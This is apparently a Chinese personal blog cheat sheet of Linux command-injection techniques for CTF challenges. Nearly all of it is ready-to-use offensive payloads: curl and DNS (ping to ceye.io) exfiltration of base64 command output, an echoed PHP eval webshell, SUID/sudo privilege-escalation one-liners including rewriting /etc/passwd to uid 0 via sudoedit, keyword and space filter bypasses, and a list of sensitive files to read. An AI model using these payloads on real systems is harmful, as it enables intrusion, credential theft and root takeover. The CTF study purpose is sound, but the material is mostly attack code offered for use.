linux命令执行
命令执行
PHP常见用于执行系统命令的函数
system
exec
passthru
shell_exec
exec 和 shell_exec 无回显,解决方法:
- 保存到文件
示例:
cmd=ls /|tee 1.txt
或 cmd=ls / > 1.txt
访问 url/1.txt
- 通过 curl 外带
示例:
curl vps-ip:port/ `ls / | base64`
- dns 外带
通过 DNS 网站 在 ping 通时传输数据
国内的网站如 CEYE 和 DNSlog
ping `cat /flag | base64` .abcdef.ceye.io
ping `cat /flag | base64` .xxxxxxx.dnshook.site
- 直接写马
通过 echo 命令写 php 木马,蚁剑连接
echo '<?php @eval($_POST["123"]); ?>' > 1.php
不用单引号的话就得在$前加\
- 过滤了&,<,>,|导致不能反弹 shell
用反引号``
curl vps-ip:port/?`php%20-r%20%22echo%20base64_encode(shell_exec(%27ls%20/%27));%22`
个人收集常见指令
查看目录:ls,dir
移动目录:cd
删除文件:rm <文件名>
查看文件: cat等
复制文件:cp <文件名> <文件名>
重命名:mv <文件名> <文件名>
SUID 命令提权
https://gtfobins.github.io/ 几乎涵盖了所有可以提权的命令
寻找所有权限带 s 的命令
find / -user root -perm -4000 -print 2>/dev/null |
sudo
如果sudo可用,可用sudo -l获取所有无需密码的命令
使用时在前面加sudo
如 sudo find /etc/passwd -exec cat /flag \
sudo1.8.3 提权
利用 CVE-2021-3156-plus 进行提权。
https://github.com/Rvn0xsy/CVE-2021-3156-plus
make |
find
find /etc/passwd -exec whoami \;
find /etc/passwd -exec cat /flag \;
date 读取文件
date -f/--file <filename>
awk
awk 'BEGIN {system("whoami")}'
sed 读取文件
sed -n '1p' /flag
vim
vim /etc/sudoers
添加你的账户
sudo bash
file 读取文件
file -f /flag
env
env /bin/sh
sudoedit
update-alternatives --config editor 查看所有可用编辑器
EDITOR="nano -- /flag" sudoedit /etc/GAMELAB
或者
EDITOR='nano -- /etc/passwd' sudoedit -- /etc/GAMELAB
将你ID的数字改成0:0,初始路径改为/root,ctrl+0保存,ctrl+x退出
tail -1 /etc/passwd
Linux 能力(capabilities)配置不当
ctf@anna8cd01c2b39_sservice:~$ getcap -r / 2>/dev/null |
linux 管道符
; 前面执行完成后再执行后面的语句
| 直接执行后面的执行语句
|| 只有前面执行出错时才执行后面的执行语句
& 无论前面真假都执行后面的语句
&& 只有前面为真才执行后面的语句
换行符也可以
%0a、%0d、\n
绕过
关键字过滤绕过
flag 被过滤
cat /flag
cat /fla\g
cat /fla""g
cat /fla''g
cat /fl??
cat /f\*
cat /[e-h][k-m][9-b][e-h]
cat /fl$1ag
cat /fl$2ag
cat /fl$@ag
/???/?at /flag
a=g;cat /fla$a
cat 类似命令
more、less、head、tail、sort、tac、nl
空格绕过
< 、<>、%20(space)、%09(tab)、$IFS$1、$IFS$9、${IFS}、$IFS
payload 经过 base64 绕过
echo Y2F0IC9mbGFn|base64 -d|sh |
重要文件
/proc/self/environ
/proc/1/environ
/etc/hosts
/etc/passwd
/var/log/nginx/access.log
/var/log/apache2/access.log
/proc/self/fd/3
/proc/self/cmdline
/proc/self/mounts
/flag
/var/www/html/flag.php
/var/www/html/flag.txt
/var/www/html/flag
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 hatchet的个人网站!
评论